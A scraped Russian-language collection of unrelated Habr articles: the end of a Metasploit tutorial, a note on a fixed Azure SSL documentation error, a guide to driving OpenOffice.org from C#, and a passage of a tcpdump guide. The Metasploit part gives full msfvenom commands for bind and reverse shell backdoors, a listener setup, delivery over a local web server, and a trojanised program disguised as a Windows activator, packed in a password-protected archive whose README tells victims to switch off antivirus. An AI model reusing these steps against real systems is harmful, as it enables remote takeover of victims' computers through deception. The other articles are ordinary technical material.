На момент написания статьи в базе у Metasploit доступно 867 пэйлоадов для различных платформ. В начале каждого пэйлоада идет название платформы: windows, linux, android, osx и т. д. далее может идти используемая техника подключения (тип пэйлоада, которые мы рассматривали ранее), в самом конце будет указана основная цель полезной нагрузки.
Приступим к созданию нашего первого пэйлоада. Это будет windows/meterpreter/bind\_tcp
Команда будет выглядеть следующим образом
`msfvenom -p windows/meterpreter/bind_tcp -f exe > /home/kali/Desktop/backdoor.exe`
 По завершению генерации, исполняемый файл backdoor.exe сохранится на рабочем столе.
В случае запуска данного файла на компьютере жертвы, откроется доступ к нему по порту 4444 (порт стандартный для всех пэйлоадов, но его при желании можно изменить).
Следовательно, для того, чтобы получить к машине доступ, нам нужен будет некий Listener – программа, которая будет слушать заданный порт и позволит открыть сессию.
Для этого запустим msfconsole и введем команду `use exploit/multi/handler` которая откроет нам тот самый эксплоит который работает listener который будет слушать нужный порт и откроет нам сессию в случае успеха.
В нем необходимо задать следующие параметры:
`set payload windows/meterpreter/bind_tcp` – выбираем тот же payload, что и в созданном файле.
`set rhost 192.168.11.149` – указываем IP адрес целевого устройства (статью писал дома и на работе, так что сеть изменилась, но на суть работы это не влияет, у тебя она в любом случае будет скорее всего другой).
`set lport 4444` – указываем порт который будем слушать.
`run` – запускаем и ждем действий со стороны жертвы.
Далее нам необходимо придумать способ для передачи файла на компьютер жертвы. Мы не будем пока особо вдаваться в тонкости социальной инженерии, а рассмотрим самый простой способ — файлообменник на базе веб-сервера Apache. Обычно он предустановлен в Kali Linux, так что достаточно будет его запустить командой `systemctl start apache2.service`
Скопируем созданный файл в директорию /var/www/html/
Далее, остается лишь скачать файл с целевой машины открыв в браузере ссылку с адресом машины атакующего и именем файла [http://192.168.1.143/backdoor.exe](http://192.168.1.6/backdoor.exe) запустить его.
Перейдем в окно c ожидающим соединения handler-ом и посмотрим, что произойдет после запуска файла на машине жертвы
Как видно на последнем скрине, в тот самый момент когда жертва запустила наш бэкдор, у нас открылась сессия meterpreter.
А что же в этот момент происходит в диспетчере задач на целевой машине?
Процесс backdoor.exe отображается в списке других процессов. В том случае если данный процесс завершить, то сессия тут же прервется.
На этот случай в msfvenom предусмотрен специальный тип скрытой полезной нагрузки shell\_hidden\_bind\_tcp. Данный пэйлоад дает нам доступ не к сессии meterpreter, а к командной оболочке Windows. После выполнения процесс прячется в системе и даже если снять задачу связанную с ним в диспетчере, сессия не прервется. Рассмотрим данный способ подробнее.
Для начала перенастроим handler на использование другого эксплоита
`set payload windows/shell_hidden_bind_tcp`
`set rhost 192.168.11.149`
`set ahost 192.168.11.143` – тут мы указываем разрешенный (allowed) IP адрес атакующего.
`set lport 4444`
`run`
В случае работы с командной оболочкой (с meterpreter сессией данный вариант не работает), альтернативным инструментом входящим в состав Kali является старая как мир утилита Netсat.
В ней нам будет достаточно прописать короткую команду `nc 192.168.1.9 4444` и так же дождаться выполнения пэйлоада на стороне жертвы.
Однако, с учетом того, что тут мы изучаем возможности именно MSF, я предпочту остановиться на варианте с handler-ом.
Далее сгенерируем новый эксплоит:
`msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.11.143 lport=4444 -f exe > /home/kali/Desktop/hidden-backdoor.exe`
Затем так же копируем файл на наш сервер и скачиваем его из браузера на целевой машине.
Посмотрим, что изменится после того, как мы завершим процесс hidden-backdoor.exe в диспетчере задач.
В данном случае мы видим две активные сессии с одного и того же устройства (одна работает через handler а вторая через Netcat).
В итоге, пока атакуемая машина не будет перезапущена, или атакующая сторона не закроет соединение, оно будет продолжать работать.
И так, с прямыми подключениями все ясно. Давай немного усложним задачу и включим наш брандмауэр Windows. В этом случае вариант bind\_tcp не будет работать, если не добавить файл в исключения брандмауэра. И тут нам на помощь приходит reverse\_tcp, который позволит обойти блокировку входящих соединений.
В этот раз ускорю процесс и воспользуюсь вместо handler утилитой Netcat
`nc -lvp 4444`
Генерируем файл для удобства выгружаем сразу в директорию/var/www/html
`msfvenom -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -f exe > /var/www/html/reverse-shell.exe`
Скачиваем файл на машину жертвы, запускаем и…
Вроде ничего особенного. В чем же фокус? Попробуем запустить с включенным брандмауэром один из прошлых файлов с подключением типа bind\_tcp
 А вот и суть фокуса. В случае использования прямого соединения, брандмауэр уведомляет нас о том, что такое-то приложение хочет инициировать сетевое соединение и поэтому я заблокировал некоторые его функции. И в том случае, если пользователь не разрешит приложению доступ на входящее соединение…
 Наш эксплоит, конечно, запустится НО…
Никакого удаленного шелла нам не видать в этом случае. Отсюда следует, что во всех случаях когда мы не уверены в том работает на удаленном хосте брандмауэр или нет, стоит использовать reverse\_tcp.
Ну, хорошо. Допустим, что с обходом брандмауэра все понятно, но как быть в том случае если на целевой машине установлен антивирус? Как он отреагирует на подобный файл?
Интересно?) Надеюсь, что да. Продолжим наш эксперимент и усложним себе задачу.
Установим антивирус на атакуемую машину и посмотрим что произойдет с загруженным файлом hidden-backdoor.exe. Дабы не рекламировать какого-либо конкретного производителя антивирусного ПО поступим честно. Зайдем на какой-нибудь популярный сайт посвященный антивирусной защите (например, comss.ru) и выберем самый рейтинговый бесплатный антивирус.
Единственный антивирус в списке с рейтингом в 5 звезд 360 Total Security от наших братьев из Поднебесной. Что ж, скачаем и проверим на что он способен. После установки просканируем папку «Загрузки» и посмотрим на результат.
В данном случае, антивирус действительно обнаружил угрозу в загруженном ранее файле и предложил исправить проблему удалив его.
И тут возникает вполне логичный вопрос: а есть ли способ скрыть от любого антивируса полезную нагрузку при помощи инструментов доступных в составе MSF? Если отвечать на этот вопрос в 2022 году, то скорее нет чем да. Почему так? Давай разберемся.
Еще лет 5-6, одним из наиболее эффективных способов обхода антивирусного ПО в Metasploit являлась схема создания скрытой полезной нагрузки с использованием кодировщика shikata ga nai (в переводе с японского что-то вроде «с этим ничего не поделать»). Данный способ работает за счет уникального полиморфного аддитивного кодировщика XOR, благодаря которому при каждой итерации процесса кодирования шелл-кода, он будет происходить по-разному, от чего нагрузка становится для антивируса безопасной на вид. Кроме энкодера shikata\_ga\_nai в MSF есть и другие кодировщики с которыми можно поиграться, но маловероятно, что из этого что-то получится. Посмотреть весь список доступных кодировщиков можно с помощью команды msfvenom --list encoders
Что ж, давай проверим, есть ли еще смысл использовать при тестировании на взлом и проникновение этот метод и применим немного магии социальной инженерии (как не крути, а это самое мощное оружие злоумышленников, которое они применяют повсеместно)
План действий следующий: сначала мы подготавливаем некий шаблон (это будет импровизированный файл активатора Windows или любая подобная программа, которую пользователь будет скачивать с общедоступных файлообменников и захочет добавить в исключения), внедряем в него полезную нагрузку кодируя ее многократно при помощи shikata\_ga\_nai, затем проверяем результат того, насколько маскировка надежна на ресурсе virustotal.com Вне зависимости от результата включаем социальную инженерию: запаковываем наш файл в защищенный паролем архив и прилагаем к нему файлик README.txt в котором просим ОБЯЗАТЕЛЬНО на момент запуска программы и процесса активации системы ОТКЛЮЧАТЬ антивирус, дабы он не убил файл (признайся, и ты с таким сталкивался наверняка не раз). Последним шагом мы скопируем архив с паролем на импровизированный файлообменник, в ожидании пока его скачает жертва.
Для лучшего понимания следующей команды ознакомимся с параметрами используемыми
в ней:
`-a` архитектура набора команд (x86/x64);
`--platform` выбор целевой платформы (в нашем случае windows);
`-p` - сама полезная нагрузка (в нашем случае windows/meterpreter/reverse\_tcp);
`-e` - выбор кодировщика;
`-i` - количество итераций кодирования;
`-k` - параметр позволяющий сохранить исходному шаблону все его первоначальные свойства;
`-x` - путь к шаблону (исполняемому файлу легитимного ПО);
`-f` - формат генерации, который может быть raw, exe, elf, jar, py и т.д. (для просмотра всех доступных форматов можно использовать команду --help-formats).
И так, приступим к генерации полезной нагрузки:
`msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -e x86/shikata_ga_nai -i 20 -f exe -k -x /home/kali/Downloads/putty.exe > KMSAuto.exe`
По завершению генерации загрузим для начала файл на virustotal.com и проверим, что у нас вышло:
Результат почти провальный. Большая часть антивирусных движков обнаружила угрозу, а это значит, что без приемов социальной инженерии данный файл подсунуть жертве, убедив ее отключить антивирус на момент запуска, не удастся. Что ж, создадим в директории файлообменника текстовый файл README.txt (писать мы в нем ничего не будем, но примерное содержимое текста нам известно), после чего добавим директорию KMSAuto в которую скопируем файл с пэйлоадом и README.txt. По командам примерно следующее.
Далее воспользуемся утилитой zip и добавим директорию KMSAuto со всеми вложенными файлами в защищенный паролем 11111 архив.
Проверим архив на virustotal и сравним результаты:
Как мы видим, у данного метода есть одно преимущество, антивирус не сможет начать сканировать файл до тех пор, пока он в архиве. Проверим его в деле
Как мы и предполагали, антивирус просканировал файл, и не нашел в нем никаких угроз. Далее, даже если разархивировав его пользователь увидит уведомление от антивируса, он прочтет содержимое файла README.txt и выключит на время активации свой антивирус, добровольно открыв доступ злоумышленнику.
Как мы видим, после запуска файла наш Netcat получил удаленный шелл.
Здесь мы рассмотрели всего лишь простой пример для понимания того, как можно захватить любую систему, применив лишь базовые возможности существующих инструментов и немного социальной инженерии (таким же способом можно заразить файл Excel с отчетами через VBA и отправить по почте главбуху и т.д.).
Конечно, мы разобрали лишь основную часть работы с MSF и в следующих статьях будут рассматриваться отдельные моменты по работе с этим замечательным фреймворком.
На этой ноте я прощаюсь с тобой, мой дорогой читатель, до новых встреч! | https://habr.com/ru/post/696840/ | null | ru | null |
# Исправлена серьезная ошибка в официальной документации по настройке SSL в web-ролях Microsoft Azure
Хорошие новостиTM: есть небольшое, но важное развитие сюжета из [этого поста](https://habrahabr.ru/company/abbyy/blog/280840/), где много букв и долгая история, которая могла отвлечь часть целевой аудитории от необходимости проверить и исправить настройки. После вливания освежающих пул-запросов была обновлена официальная документация, показывающая, как правильно настраивать SSL в веб-ролях Microsoft Azure — [один](https://azure.microsoft.com/en-us/documentation/articles/cloud-services-configure-ssl-certificate-portal/) и [два](https://azure.microsoft.com/en-us/documentation/articles/cloud-services-configure-ssl-certificate/). Исправлена серьезная ошибка в примерах настроек.
Если вы разрабатываете или сопровождаете облачный сервис с веб-ролью, самое время проверить, что настройки SSL указаны правильно и вас не настигнет в самый неподходящий момент волна недовольства пользователей, у которых КРАЙНЕ НЕОЖИДАННО без ясных причин перестало устанавливаться защищенное соединение с вашим сервисом.
До исправления раздел «сертификаты» в примере настроек выглядел приблизительно так:
```
```
Использование таких настроек — с указанием только сертификата сервиса — распространенная ошибка, в [предыдущем посте](https://habrahabr.ru/company/abbyy/blog/280840/) очень подробно объяснены возможные последствия.
TL;DR При эксплуатации сервисов используют сертификаты, выданные так называемыми центрами сертификации, такие сертификаты подписаны не непосредственно корневым сертификатом центра, а промежуточным сертификатом (а промежуточный – в свою очередь подписан корневым сертификатом). Настройки выше приводят к установке в хранилища экземпляров сервиса только сертификата самого сервиса, но не промежуточных сертификатов.
Для надежной работы необходимо также обеспечить установку промежуточных сертификатов:
```
```
После исправлений официальная документация показывает примеры правильных настроек.
Пользуйтесь на здоровье и не огорчайте ~~котиков~~ пользователей.
*Дмитрий Мещеряков,
департамент продуктов для разработчиков* | https://habr.com/ru/post/302530/ | null | ru | null |
# Дружим C# и OpenOffice.org
Не судите строго, это моя первая статья
На работе поставили задачу — написать бюджетный вариант для моей программы (ранее для отчетов использовали MS Office). Сильно озадачился, из — за нехватки материалов по данной теме, так как все материалы разбросаны по разным блогам, и они все в основном на английском. Сегодня я решил поделиться своим, пусть и небольшим опытом в данной проблеме.
Первое что нам нужно, чтобы «воссоединить» C# и OOo3 — это библиотеки “CLI\_\*.dll”, для работы нашей программы с OpenOffice.org. В OpenOffice.org 2 они поставляются и устанавливаются вместе офисом, в дистрибутиве 3его же, они не устанавливаются. Так что берем и вытаскиваем их (все CLI\_\*.dll библиотеки) ручками из архива [openofficeorg1.cab] OOo3 (при установке все архивы извлекаются в выбранное вами место), добавляем их в References своего проекта. При добавлении важно отметить для каждой библиотеки Copy Local и Specific Version значения в false!
Также на этом “мучения” с OOo3 не заканчиваются. Далее немного кода специфичного для работы с OOo3:
Список namespace'ов:
> `using System;
>
> using System.Collections.Generic;
>
> using System.Text;
>
> using System.Drawing;
>
> using System.IO;
>
>
>
> //OOo 3
>
> using unoidl.com.sun.star.lang;
>
> using UNO = unoidl.com.sun.star.uno;
>
> using unoidl.com.sun.star.bridge;
>
> using unoidl.com.sun.star.frame;
>
> using OOo = unoidl.com.sun.star;
>
>
>
> using Microsoft.Win32;
>
> using System.Runtime.InteropServices;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
> `private void InitOO3Env()
>
> {
>
> string baseKey = "";
>
>
>
> if (Marshal.SizeOf(typeof(IntPtr)) == 8) baseKey = @"SOFTWARE\Wow6432Node\OpenOffice.org\";
>
> else
>
> baseKey = @"SOFTWARE\OpenOffice.org\";
>
>
>
> // Get the URE directory
>
> string key = baseKey + @"Layers\URE\1";
>
> RegistryKey reg = Registry.CurrentUser.OpenSubKey(key);
>
> if (reg == null) reg = Registry.LocalMachine.OpenSubKey(key);
>
> string urePath = reg.GetValue("UREINSTALLLOCATION") as string;
>
> reg.Close();
>
> urePath = Path.Combine(urePath, "bin");
>
>
>
> // Get the UNO Path
>
> key = baseKey + @"UNO\InstallPath";
>
> reg = Registry.CurrentUser.OpenSubKey(key);
>
> if (reg == null) reg = Registry.LocalMachine.OpenSubKey(key);
>
> string unoPath = reg.GetValue(null) as string;
>
> reg.Close();
>
>
>
> string path;
>
>
>
> string sysPath = System.Environment.GetEnvironmentVariable("PATH");
>
> path = string.Format("{0};{1}", System.Environment.GetEnvironmentVariable("PATH"), urePath);
>
> System.Environment.SetEnvironmentVariable("PATH", path);
>
> System.Environment.SetEnvironmentVariable("UNO\_PATH", unoPath);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Код выше производит так называемую “инициализацию” OOo3 (устанавливает переменные окружения для OOo3). “Инициализацию” следует проводить при каждом запуске программы, так как переменная PATH не сохраняется.
Теперь можно и работать с OOo (для версии 2 и выше[Версии ранее не пробывал просто]):
> `//Проверяем установлен ли?
>
> private bool isOOoInstalled()
>
> {
>
> string baseKey;
>
> // Для 64 битной версии
>
> if (Marshal.SizeOf(typeof(IntPtr)) == 8) baseKey = @"SOFTWARE\Wow6432Node\OpenOffice.org\";
>
> else
>
> baseKey = @"SOFTWARE\OpenOffice.org\";
>
> string key = baseKey + @"Layers\URE\1";
>
> RegistryKey reg = Registry.CurrentUser.OpenSubKey(key);
>
> if (reg == null) reg = Registry.LocalMachine.OpenSubKey(key);
>
> string urePath = reg.GetValue("UREINSTALLLOCATION") as string;
>
> reg.Close();
>
> if (urePath != null) return true;
>
> else
>
> return false;
>
> }
>
> //Соединияемся с фабрикой (чтобы создавать \ открывать документы)
>
> private OOo.lang.XMultiServiceFactory uno\_connect(String[] args)
>
> {
>
> InitOO3Env();
>
> unoidl.com.sun.star.uno.XComponentContext m\_xContext m\_xContext = uno.util.Bootstrap.bootstrap();
>
> if (m\_xContext != null)
>
> return (OOo.lang.XMultiServiceFactory)m\_xContext.getServiceManager();
>
> else
>
> return null;
>
> }
>
> //Создаем \ загружаем документ Calc
>
> private unoidl.com.sun.star.sheet.XSpreadsheetDocument OOo3_initCalcDocument(string filePath, bool newDoc)
>
> {
>
>
>
> XComponentLoader aLoader;
>
> XComponent xComponent = null;
>
> string url = newDoc ? "private:factory/scalc" : @"file:///" + filePath.Replace(@"\", @"/");
>
> try
>
> {
>
> aLoader = (XComponentLoader)
>
> mxMSFactory.createInstance("com.sun.star.frame.Desktop");
>
>
>
> xComponent = aLoader.loadComponentFromURL(
>
> /\*"private:factory/scalc"\*/ url, "\_blank", 0,
>
> new unoidl.com.sun.star.beans.PropertyValue[0]);
>
> }
>
> catch (Exception ex)
>
> {
>
> MessageBox.Show(ex.Message);
>
> }
>
> return (OOo.sheet.XSpreadsheetDocument)xComponent;
>
>
>
> }
>
>
>
> //Создаем \ загружаем документ Writer`
>
> private OOo.text.XTextDocument OOo3\_initWriterDocument(string filePath, bool newDoc)
>
> {
>
>
>
> XComponentLoader aLoader;
>
> XComponent xComponent = null;
>
> string url = newDoc? «private:factory/swriter»: @«file:///» + filePath.Replace(@"\", @"/");
>
> try
>
> {
>
> aLoader = (XComponentLoader)
>
> mxMSFactory.createInstance(«com.sun.star.frame.Desktop»);
>
>
>
> xComponent = aLoader.loadComponentFromURL(
>
> url, "\_blank", 0,
>
> new unoidl.com.sun.star.beans.PropertyValue[0]);
>
> }
>
> catch (Exception ex)
>
> {
>
> MessageBox.Show(ex.Message);
>
> }
>
> return (OOo.text.XTextDocument)xComponent;
>
> }
\* This source code was highlighted with [Source Code Highlighter](http://virtser.net/blog/post/source-code-highlighter.aspx).
Вот и все! | https://habr.com/ru/post/49373/ | null | ru | null |
# 3DO и Android NDK и как бы во что не вляпаться…
Найдется наверное не мало приложений, которые почти невозможно сделать на Java, в силу большой исходной кодовой базы C++ или требований к производительности. И так вышло, что я разрабатывал одно из таких приложений, а именно эмулятор игровой консоли 3DO – [Real3DOPlayer](https://play.google.com/store/apps/details?id=ru.vastness.altmer.real3doplayerhttp://). В моем случае роль играла как кодовая база, так и требования к производительности. Код базировался на моем десктопном проекте [«Феникс»](http://www.arts-union.ru/node/23), и он тормозил даже на средних десктопах, не то что на встраиваемых процессорах. Сколько проклятий вырывалось в адрес корпорации Gooogle я уже и не помню, но опыт я получил бесценный, которым и хочу здесь поделиться.
### Новичок, бьющийся лбом об стену...
Несмотря на то, что я опытный программист (больше 15 лет), я почувствовал себя в шкуре новичка сразу же, как только взялся за NDK.
**Шишка первая.** Установив Android Studio под Windows, я решил набросать простейший «Hello, world!» с вызовом JNI. Все очень просто:
```
JNIEXPORT jstring JNICALL Java_ru_arts_union_real3doplayer_NativeCore_stringFromJNI(JNIEnv* env, jclass clazz)
{
return env->NewStringUTF("Hello, World!");
}
```
Ошибка компиляции. Просто ошибка компиляции. Понимаете, код не компилируется и точка. День я пытался скомпилировать код, активно гугля проблему, но по истечению дня код так и не удалось собрать. На следующий день взял ноутбук с Linux и решил продолжить мучать эти две строчки, к моему удивлению, все сразу же собралось. Начал читать форумы, почему под Windows нельзя собрать код? Оказалось — одного файла C/CPP мало для для сборки проекта, требуется как минимум 2!
**Шишка вторая.** Запускаю приложение, а оно падает, сообщая, что метод stringFromJNI не найден. Как так не найден?! Вот же он, прямо тут и в дизассемблере виден! Не паниковать, смотрю весь код от и до, слава богу, его не так уж много. Смотрю на префикс в названии функции ru\_arts\_union\_real3doplayer, и что-то мне подсказывает, что что-то здесь не так… Ведь имя моего пакета выглядело так: ru.arts-union.real3doplayer, а имя метода кодирует точку и тире одинаково, это не хорошо, и странно, что сама среда допустила такое имя для пакета. Меняем имя пакета и метода, убрав тире. Ура! Метод видится, и спустя два дня работает «Hello, world!».
**Шишка третья.** Не беда, файлов будет много, название поправили, едем дальше, думая, что самое страшное позади. Добавляем свои исходники, которые проверялись под Linux/Windows для различных процессоров (в том числе ARM). Все отлично скомпилировалось, без единой ошибки. Приложение падает при старте без каких-либо предупреждений. Продолжая мидитировать над кодом, наблюдаю проплывающую строчку с long double, вспоминаю, что NEON максимум держит double, но этот код даже не вызывается, он просто есть, а в заголовке типов я удалил real80. И потом, код ведь скомпилировался без ошибок! Хм.., чем стучать в бубен, лучше выпилю этот код… Запуск, и бинго! Код работает, игры заускаются, хоть и с дикими тормозами!
Сюда же стоит упомянуть работу с казалось бы банальными вещами — стандартными библиотеками языка С, будьте осторожны, довольно часто случается так, что некоторые методы, которые присутствуют в одной версии — отсутствуют в другой, и ваше приложение падает из-за невозможности загрузить нужный метод. Тут поможет только обширное тестирование или отказ в пользу STL со статической линковкой. Так, например, TinyXML падает на достаточно большом количестве устройств из-за отсутствия функций преобразования чисел в строку и обратно.
Чем меньше у вас опыта, тем больше у вас будет шишек — будьте морально готовы, наверняка я не все припомнил…
### В погоне за производительностью или вляпался раз...
Как увеличить производительность эмулятора, который местами напрягал даже i7? Очень просто, нужно ограничить себя вычислительным ресурсом, что и произошло с попыткой портировать его на Андроид.
В такой непростой ситуации пришлось реализовать кеширование текстур с предварительно частично или полностью обработанными пикселями графическим процессором приставки; триангуляцию квадратных полигонов (у 3DO нелинейное наложение текстур); статическую рекомпиляцию кода, часто используемых библиотек ОС консоли; распараллеливание эмуляции подсистем консоли. Все это позволило снизить аппаратные требования более чем в три раза. Где еще можно сэкономить такты, не считая классических техник, оптимизации на ассемблере и длительного просиживания в профайлере? Очевидно, на том, в чем большинство пользователей разницы не заметит. Так, например, я хорошо сэкономил на 16-битном растре, вместо 24-битного, при заполнении кадра.
Сам процесс оптимизации очень занятный и тянет на отдельную статью, но все вышесказанное не относится к Андроиду как к таковому. А что же может дать нам сама платформа и ее особенности? Очевидно прямую запись в текстурную память, поскольку CPU и GPU на мобильных платформах в подавляющем большинстве устройств ее разделяют. Но увы, данный механизм, известный как GraphicBuffer, не предназначен для общего пользования! Ничего, его можно достать через dlopen. Но делать это надо опционально, поскольку этот хак может работать не везде. Реализацию можно глянуть здесь (довольно непросто найти через поиск): [android.googlesource.com/platform/external/deqp/+/deqp-dev/framework/platform/android/tcuAndroidInternals.cpp](https://android.googlesource.com/platform/external/deqp/+/deqp-dev/framework/platform/android/tcuAndroidInternals.cpp).
А что нам очень не хочет давать Андроид, но очень надо? Конечно контроль над циклом приложения! Но, если ооочень надо, то поможет NativeActivity или вот этот вот примерчик, который подкупает своей простотой и удобством: [github.com/tsaarni/android-native-egl-example](https://github.com/tsaarni/android-native-egl-example). В отличии от NativeActivity, с которым непонятно как работать из обычного Activity, данный подход позволяет захватить контекст окна и рисовать в отдельном потоке, тогда, когда надо нам, а не когда решит Java. И вот тут-то я вляпался, сам того не зная.
Дело в том, что данный механизм работает не на всех версиях Андроида (по крайней мере по моим тестам, версии 4.1-4.3 его не поддерживают), а это порядка 40% целевых устройств для моего приложения, судя по статистике Гугла, т. е. 40% прибыли долой. И узнать вы об этом можете очень поздно, ведь обычно пользователь поставив приложение и увидев, что оно не работает, сразу сносит его и не пишет отзыва, оно и понятно, ведь надо быстрей вернуть деньги. Исправлять же неправильный цикл приложения — дело не из приятных, ведь гарантированно определить на каком устройстве он работает, а на каком нет — нельзя, ставить по умолчанию более медленное решение, но более совместимое — можно, но карму вы себе попортите, ведь не каждый полезет в настройки проверять: «А нельзя ли что-то подкрутить, чтобы стало как раньше и не тормозило?» Лучше сразу сделать более дубовый вариант, а потом уже добавить опцию, но в моем случае уже поздно.
### Сокращая сущности или вляпался два...
Довольно часто в SDK уже есть функционал, который не хочется дублировать в нативном коде, например, для работы со шрифтами или изображениями, да много чего, ведь у Java огромная библиотека. И возникает закономерное желание сделать вызов Java-метода из C++. У меня как раз такое желание возникло, и я сделал классную вещь — рендер шрифтов в текстуру по запросу из нативного кода, все протестировал на своих устройствах и куче виртуальных устройств. Все отлично работало, и в очередной раз вляпался — сделал релиз… У примерно 1% пользователей (уже купивших приложение) программа начала крашиться. Это было, мягко говоря — очень плохо, негативные отзывы, да и сама ситуация — человек заплатил и тут бац — у него не работает. В чем причина, сказать трудно, подозреваю некоторые производители используют модифицированную ось или что-то еще. Ошибку у себя я конечно не исключаю, но глядя на такой вот рапорт, я сильно в этом сомневаюсь (разумеется метод такой был, черным по белому):
```
java.lang.NoSuchMethodError: no method with name='loadConfig' signature='(Ljava/lang/String;)Ljava/lang/String;' in class Lru/vastness/altmer/real3doplayer/MainActivity;
at dalvik.system.NativeStart.run(Native Method)
```
Пришлось очень быстро выпиливать это решение и заменять другим. Обошлось малой кровью. Само по себе решение очень хорошее (1% несовместимости можно стерпеть, просто пройдут мимо и не купят), но только до запуска приложения, потом, когда продано уже много копий — я бы настоятельно не советовал.
### Обновляя арсенал или вляпался три...
Переставив систему, я поставил SDK поневее и, соответственно, targetSdkVersion тоже поменял. Тут же случилась неприятность. Перестали видеться SD-накопители, что вызвано странными махинациями Гугла с правами доступа. При этом загрузка APK с более старой версией SDK оказалась возможной! Нельзя! Но я отделался легким испугом, проблема решилась запросом разрешений. А если проблема не решилась бы так легко? Что делать тогда? Вопрос очень интересный…
Самая же неприятная вещь, пришедшая с обновлениями, от которой не могу избавиться по сей день — это нежелание среды обновлять APK при изменениях в нативной библиотеке, проблему наблюдаю и под Linux и под Windows. Это вызывает раздражение, теперь чтобы на устройстве в процессе отладки появился актуальный свежесобранный APK, надо проделать следующее (Android Studio 2.1.1):
1. Пересобрать проект.
2. Запустить проект (при этом он пересоберется еще раз, если первый шаг пропустить — не пересоберется).
3. Остановить приложение.
4. Собрать APK.
5. Запустить приложение.
А вы думали, если сделали ребилд, то запустив приложение вы получите актуальный свежесобранный APK на устройстве? Не тут-то было, проверяйте, а лучше сделайте себе всплывающее окошко или сообщение в лог с версией изменений. Иначе рискуете потерять кучу времени на проверках своего исправного кода. И не надейтесь, что со второго или третьего запуска получится.
Тем у кого аналогичные проблемы, в качестве компенсации времени, если этого еще не сделали, советую указать jobs N для параллельной сборки нативного кода.
### В сухом остатке...
Я вообще в осадке от средств разработки на эту платформу, такой кривизны уже лет десять не видел, а мне есть с чем сравнивать. Я конечно понимаю — Java в приоритете, но все же… С этим всем может потягаться разве что найденный мной много лет назад баг в интеловском компиляторе при сдвиге на ноль в переменной, с тех пор нет, нет, да напишу:
```
if(shift)return x>>shift;
return x;
```
Тем не менее, стоит отдать должное Гуглу, они сделали все, чтобы зарплаты у нативных разработчиков под Андроид были высокими!
Для меня, как С++ разработчика, ситуация с приложениями под Андроид выглядит парадоксальным образом, с одной стороны механизмы нужные есть, но совокупный объем проблем в платформе такой, что при попытке сделать какие-либо улучшения, я должен выбирать между потерей репутации и развитием приложения. Ни одна платформа не ставила меня перед таким выбором.
Невольно ловишь себя на мысли, что может лучше ничего не улучшать под эту платформу, а то как бы чего не случилось…
ПС. Не подумайте — эмулятор будет развиваться и дальше, просто накипело. | https://habr.com/ru/post/303888/ | null | ru | null |
# Используем tcpdump для анализа и перехвата сетевого трафика
Утилита tcpdump — отличный инструмент командной, который способен перехватывать и анализировать сетевой трафик. Может оказаться большим подспорьем при решении сетевых проблем. Пакеты можно сохранить в файл и анализировать позже. Рекомендуется время от времени запускать эту утилиту, чтобы следить за своей сетью.
Содержание:
* Вывод tcpdump
* Установка tcpdump
* Опции tcpdump
* Фильтры tcpdump:
+ Фильтр выражений
+ Фильтр портов
+ Фильтр хостов
+ Комбинирование фильтров
* Сохранение заголовков в файл
* Просмотр сведений о пакете
* Вывод
### Вывод tcpdump
Утилита tcpdump позволяет проверять заголовки пакетов TCP/IP и выводить одну строку для каждого из пакетов. Она будет делать это до тех пор, пока не нажать Ctrl + C.
Давайте рассмотрим одну строку из примера вывода:
```
20:58:26.765637 IP 10.0.0.50.80 > 10.0.0.1.53181: Flags [F.], seq 1, ack 2, win 453, options [nop,nop,TS val 3822939 ecr 249100129], length 0
```
Каждая строка включает:
* Метка времени Unix (**20: 58: 26.765637**)
* протокол (**IP**)
* имя или IP-адрес исходного хоста и номер порта (**10.0.0.50.80**)
* имя хоста или IP-адрес назначения и номер порта (**10.0.0.1.53181**)
* Флаги TCP (**Flags [F.]**). Указывают на состояние соединения и могут содержать более одного значения:
+ o S — SYN. Первый шаг в установлении соединения
+ F — FIN. Прекращение соединения
+ — ACK. Пакет подтверждения принят успешно
+ P — PUSH. Указывает получателю обрабатывать пакеты вместо их буферизации
+ R — RST. Связь прервалась
* Порядковый номер данных в пакете. (**seq 1**)
* Номер подтверждения. (**ack 2**)
* Размер окна (**win 453)**. Количество байтов, доступных в приемном буфере. Далее следуют параметры TCP
* Длина полезной нагрузки данных. (**length 0**)
### Установка tcpdump
В дистрибутивах на основе **Debian** tcpdump можно установить с помощью команды APT:
```
# apt install tcpdump -y
```
В дистрибутивах на основе **RPM** tcpdump можно установить с помощью YUM:
```
# yum install tcpdump -y
```
В **RHEL 8** с использование **DNF**:
```
# dnf install tcpdump -y
```
### Опции tcpdump
Запускать tcpdump нужно с правами root. Tcpdump включает в себя множество опций и фильтров. При запуске tcpdump без каких-либо параметров произойдет перехват всех пакетов, проходящих через интерфейс по умолчанию.
Вывести список доступных системе сетевых интерфейсов, в которых tcpdump может захватывать пакеты:
```
# tcpdump -D
```
или
```
# tcpdump --list-interfaces
```
```
1.eth0
2.nflog (Linux netfilter log (NFLOG) interface)
3.nfqueue (Linux netfilter queue (NFQUEUE) interface)
4.eth1
5.any (Pseudo-device that captures on all interfaces)
6.lo [Loopback]
```
Очень полезно для систем, в которых нет команды для вывода списка интерфейсов.
Для захвата пакетов, проходящих через определенный интерфейс, используйте -i с именем интерфейса. Если не указать имя, тогда tcpdump подберет первый обнаруженный сетевой интерфейс.
```
# tcpdump -i eth1
```
```
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
01:06:09.278817 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 4761, seq 1, length 64
01:06:09.279374 IP 10.0.0.51 > vagrant-ubuntu-trusty-64: ICMP echo reply, id 4761, seq 1, length 64
01:06:10.281142 IP vagrant-ubuntu-trusty-64 > 10.0.0.51: ICMP echo request, id 4761, seq 2, length 64
```
* -v увеличивает количество отображаемой информации о пакетах
* -vv дает еще более подробную информацию
*По умолчанию tcpdump преобразует IP-адреса в имена хостов, а также использует имена служб вместо номеров портов.*
* -n Если DNS не работает или вы не хотите, чтобы tcpdump выполнял поиск имени.
```
# tcpdump –n
```
```
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
04:19:07.675216 IP 10.0.2.15.22 > 10.0.2.2.50422: Flags [P.], seq 2186733178:2186733278, ack 204106815, win 37232, length 100
04:19:07.675497 IP 10.0.2.2.50422 > 10.0.2.15.22: Flags [.], ack 100, win 65535, length 0
